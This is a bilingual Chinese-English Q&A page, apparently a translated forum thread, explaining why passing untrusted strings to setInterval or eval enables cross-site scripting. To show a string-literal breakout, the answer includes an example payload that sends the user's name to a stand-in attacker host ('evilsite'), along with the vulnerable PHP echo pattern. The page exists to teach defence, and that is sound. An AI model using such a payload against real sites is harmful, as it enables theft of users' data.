为什么 setInterval 对 XSS 不安全? [英] Why is setInterval not safe from XSS?

查看:97
本文介绍了为什么 setInterval 对 XSS 不安全?的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

我正在阅读 OWASP 跨站点脚本防止备忘单.在规则#3 中它说:

I'm going through OWASP Cross Site Scripting Prevent Cheat Sheet. In rule #3 it says:

请注意,有些 JavaScript 函数永远无法安全地使用不受信任的数据作为输入 - 即使 JAVASCRIPT ESCAPED!

Please note there are some JavaScript functions that can never safely use untrusted data as input - EVEN IF JAVASCRIPT ESCAPED!

<script>
window.setInterval('...EVEN IF YOU ESCAPE UNTRUSTED DATA YOU ARE XSSED HERE...');
</script>


澄清:

  1. 我知道使用 setInterval 等.使用您自己的内容是安全的.
  2. 我知道人们必须验证、转义和/或清理外部内容.
  1. I know that using setInterval et al. is safe with your own content.
  2. I know that one must validate, escape and/or sanitise external content.


我的理解是,规则#3 暗示攻击者可以绕过您可以想到的任何 XSS 过滤器,如果您使用 setInterval.

你有一个例子来说明它们的含义吗?使用 setInterval 进行哪种 XSS 攻击你永远不会安全?

Do you have an example of what they mean? What kind of XSS attack you'll never be safe from using setInterval?

这里有一个类似的问题:.setinterval 和 XSS 不幸的是,答案对我没有帮助.

There is a similar question here: .setinterval and XSS unfortunately the answer didn't help me.

推荐答案

先了解一下背景:

为了防御 XSS 进行转义涉及添加合适的转义字符,这样恶意数据就不会从您放置的任何地方突破并被评估为 JavaScript.

Escaping to defend against XSS involves adding suitable escape characters so that rogue data can't break out of wherever you put it and be evaluated as JavaScript.

例如给定用户输入 xss' + window.location = http://evilsite/steal?username=";+ encodeURLComponent(document.getElementById("user-widget").textContent) + '

如果您将其插入到带有服务器端代码的字符串文字中:

If you inserted it into a string literal with server-side code:

const userinput = '<?php echo $_GET("userinput"); ?>'

你会得到:

const userinput = 'xss' + window.location = "http://evilsite/steal?username=" + encodeURLComponent(document.getElementById("user-widget").textContent) + ''`

然后 ' 会跳出 JS 中的字符串文字,窃取用户名,并将其发送到攻击者的网站.(比用户名更糟糕的事情可能会被盗.

Then the ' would break out of the string literal in the JS, steal the username, and send it to the attacker's website. (There are worse things than usernames which could be stolen.

转义旨在防止数据像这样脱离字符串文字:

Escaping is designed to prevent the data from breaking out of the string literal like that:

const userinput = 'xss\' + window.location = \"http://evilsite/steal?username=\" + encodeURLComponent(document.getElementById(\"user-widget\").textContent) + \''`

因此攻击代码只是成为字符串的一部分,而不是作为原始代码评估.

So the attacking code just becomes part of the string and not evaluated as raw code.

将字符串传递给setInterval(或setTimeoutnew Functioneval 等)的问题是它们是旨在评估代码的函数.

The problem with passing a string to setInterval (or setTimeout, new Function, eval, etc) is that they are functions designed to evaluate code.

攻击者不需要打破字符串文字来执行他们的代码.它已经发生了.

The attacker doesn't need to break out of the string literal to have their code executed. It's happening already.

我的问题是关于理解为什么 setInterval 永远无法避免 XSS.

My question is about understanding why setInterval can never be safe from XSS.

那不是你引用的警告所说的.它表示永远不能安全地使用不受信任的数据作为输入.如果你把你自己的代码放在那里,它是完全安全的.当您评估某些用户输入时,您就会遇到问题.

That isn't what the warning you quoted said. It said it can never safely use untrusted data as input. If you're putting your own code there, it is perfectly safe. It is when you evaluate some user input that you have problems.

将字符串传递给 setInterval 无论如何都是个坏主意.调试难度大,速度较慢.

Passing a string to setInterval is a bad idea anyway. It is hard to debug and relatively slow.

改为传递一个函数.然后您甚至可以安全地使用用户输入(因为它不会被评估为代码,它只是一个带有字符串的变量).

Pass a function instead. You can even use user input safely then (since it isn't being evaluated as code, it is just a variable with a string in it).

const userinput = "properly escaped user input";

setInterval(() => {
    document.body.appendChild(
        document.createTextNode(userinput)
    );
}, 1000);

这篇关于为什么 setInterval 对 XSS 不安全?的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆